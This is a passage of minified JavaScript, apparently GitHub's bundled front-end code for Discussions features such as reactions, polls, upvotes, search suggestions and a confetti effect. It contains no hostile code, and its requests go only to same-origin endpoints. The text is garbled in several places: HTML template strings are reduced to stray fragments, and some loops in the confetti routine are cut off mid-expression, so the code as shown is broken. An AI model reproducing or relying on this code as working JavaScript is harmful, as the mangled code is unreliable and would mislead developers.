n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new 